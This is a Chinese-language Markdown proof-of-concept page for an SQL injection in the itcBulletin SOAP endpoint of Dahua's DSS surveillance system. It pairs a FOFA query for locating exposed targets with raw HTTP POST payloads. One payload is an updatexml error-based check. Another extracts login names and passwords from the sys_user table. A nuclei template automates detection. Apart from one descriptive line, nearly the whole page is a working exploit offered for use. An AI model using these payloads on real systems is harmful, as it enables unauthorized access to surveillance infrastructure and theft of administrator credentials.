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81 lines
2.6 KiB
Markdown
81 lines
2.6 KiB
Markdown
## 大华DSS itcBulletin SQL 注入漏洞
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大华DSS数字监控系统itcBulletin接口存在SQL注入漏洞，攻击者可以利用该漏洞获取数据库敏感信息。
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## fofa
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```
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app="dahua-DSS"
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```
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## poc
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```
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POST /portal/services/itcBulletin?wsdl HTTP/1.1
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Host: x.x.x.x
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
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Connection: close
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Content-Length: 345
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Accept-Encoding: gzip
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<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
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<s11:Body>
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<ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
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<netMarkings>
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(updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
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</netMarkings>
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</ns1:deleteBulletin>
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</s11:Body>
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</s11:Envelope>
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POST /portal/services/itcBulletin?wsdl HTTP/1.1
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Host: your-ip
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
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Accept-Encoding: gzip
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<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
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<s11:Body>
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<ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
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<netMarkings>
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(updatexml(1,concat(0x7e,(select substr(group_concat(login_name, " ",login_pass),1,30) from sys_user),0x7e),1))) and (1=1
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</netMarkings>
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</ns1:deleteBulletin>
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</s11:Body>
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</s11:Envelope>
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```
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## nuclei poc
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```
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id: dahua-dss-itcBulletin-sqli
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info:
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name: 大华DSS itcBulletin SQL注入漏洞
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author: fgz
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severity: high
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description: 大华DSS数字监控系统itcBulletin接口存在SQL注入漏洞，攻击者可以利用该漏洞获取数据库敏感信息。
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metadata:
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fofa-query: app="dahua-DSS"
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requests:
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- raw:
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- |+
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POST /portal/services/itcBulletin?wsdl HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: gzip
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
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<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
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<s11:Body>
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<ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
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<netMarkings>
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(updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
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</netMarkings>
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</ns1:deleteBulletin>
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</s11:Body>
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</s11:Envelope>
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- 'status_code==500 && contains(body,"error code [1105]") && contains(body,"6cfe798ba8e5b85feb50164c59f4bec")'
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```
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